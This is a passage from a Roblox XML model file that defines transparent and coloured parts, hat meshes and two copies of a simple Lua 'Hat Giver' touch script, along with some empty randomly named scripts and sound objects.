							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0.400000006</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>3.60000014</Y>
								<Z>4</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX2194">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">102</int>
							<CoordinateFrame name="CFrame">
								<X>-83.5</X>
								<Y>4.5999999</Y>
								<Z>35.5</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0.400000006</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>7</X>
								<Y>3.60000014</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX2195">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">102</int>
						<CoordinateFrame name="CFrame">
							<X>-83.5</X>
							<Y>7</Y>
							<Z>38</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.400000006</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>7</X>
							<Y>1.20000005</Y>
							<Z>6</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2196">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-83.5</X>
							<Y>3.4000001</Y>
							<Z>38.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Handle</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.20000005</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX2197">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><url>http://www.roblox.com/asset/?id=10913794</url></Content>
							<token name="MeshType">5</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>0.75</X>
								<Y>0.75</Y>
								<Z>0.75</Z>
							</Vector3>
							<Content name="TextureId"><url>http://www.roblox.com/asset/?id=11125757</url></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX2198">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Script</string>
							<string name="Source">-- (Hat Giver Script - Loaded.)

debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil and debounce == true) then
		debounce = false
		h = Instance.new(&quot;Hat&quot;)
		p = Instance.new(&quot;Part&quot;)
		h.Name = &quot;GreenTopHat&quot;
		p.Parent = h
		p.Position = hit.Parent:findFirstChild(&quot;Head&quot;).Position
		p.Name = &quot;Handle&quot; 
		p.formFactor = 0
		p.Size = Vector3.new(0,-0.25,0) 
		p.BottomSurface = 0 
		p.TopSurface = 0 
		p.Locked = true 
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0,-.88,0.05)
		wait(5)
		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)

</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX2199">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">jqvc5</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX2200">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">iq68am1cr</string>
									<string name="Source"></string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Geometry" referent="RBX2201">
					<Properties>
						<string name="Name">No samurai plzzz</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Model" referent="RBX2202">
						<Properties>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Deth 2 teh samurai!</string>
							<Ref name="PrimaryPart">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX2203">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">0jfac34</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX2204">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">d0l7</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Model" referent="RBX2205">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Model</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Model" referent="RBX2206">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX2207">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">102</int>
							<CoordinateFrame name="CFrame">
								<X>-69.5</X>
								<Y>4.5999999</Y>
								<Z>40.5</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0.400000006</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>7</X>
								<Y>3.60000014</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX2208">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">102</int>
							<CoordinateFrame name="CFrame">
								<X>-72.5</X>
								<Y>4.5999999</Y>
								<Z>38</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0.400000006</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>3.60000014</Y>
								<Z>4</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX2209">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">105</int>
							<CoordinateFrame name="CFrame">
								<X>-69.5</X>
								<Y>1.60000002</Y>
								<Z>38</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">512</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>7</X>
								<Y>2.4000001</Y>
								<Z>6</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX2210">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">102</int>
							<CoordinateFrame name="CFrame">
								<X>-66.5</X>
								<Y>4.5999999</Y>
								<Z>38</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0.400000006</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>3.60000014</Y>
								<Z>4</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX2211">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">102</int>
							<CoordinateFrame name="CFrame">
								<X>-69.5</X>
								<Y>4.5999999</Y>
								<Z>35.5</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0.400000006</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>7</X>
								<Y>3.60000014</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX2212">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-69.5</X>
							<Y>3</Y>
							<Z>38.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Handle</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX2213">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><url>http://www.roblox.com/asset/?id=10913794</url></Content>
							<token name="MeshType">5</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>0.75</X>
								<Y>0.75</Y>
								<Z>0.75</Z>
							</Vector3>
							<Content name="TextureId"><url>http://www.roblox.com/asset/?id=11587097</url></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX2214">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Script</string>
							<string name="Source">-- (Hat Giver Script - Loaded.)

debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil and debounce == true) then
		debounce = false
		h = Instance.new(&quot;Hat&quot;)
		p = Instance.new(&quot;Part&quot;)
		h.Name = &quot;GreenTopHat&quot;
		p.Parent = h
		p.Position = hit.Parent:findFirstChild(&quot;Head&quot;).Position
		p.Name = &quot;Handle&quot; 
		p.formFactor = 0
		p.Size = Vector3.new(0,-0.25,0) 
		p.BottomSurface = 0 
		p.TopSurface = 0 
		p.Locked = true 
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0,-.88,0.05)
		wait(5)
		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)

</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX2215">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">jqvc5</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX2216">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">iq68am1cr</string>
									<string name="Source"></string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX2217">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">102</int>
						<CoordinateFrame name="CFrame">
							<X>-69.5</X>
							<Y>7</Y>
							<Z>38</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.400000006</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>7</X>
							<Y>1.20000005</Y>
							<Z>6</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Geometry" referent="RBX2218">
					<Properties>
						<string name="Name">No samurai plzzz</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Model" referent="RBX2219">
						<Properties>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
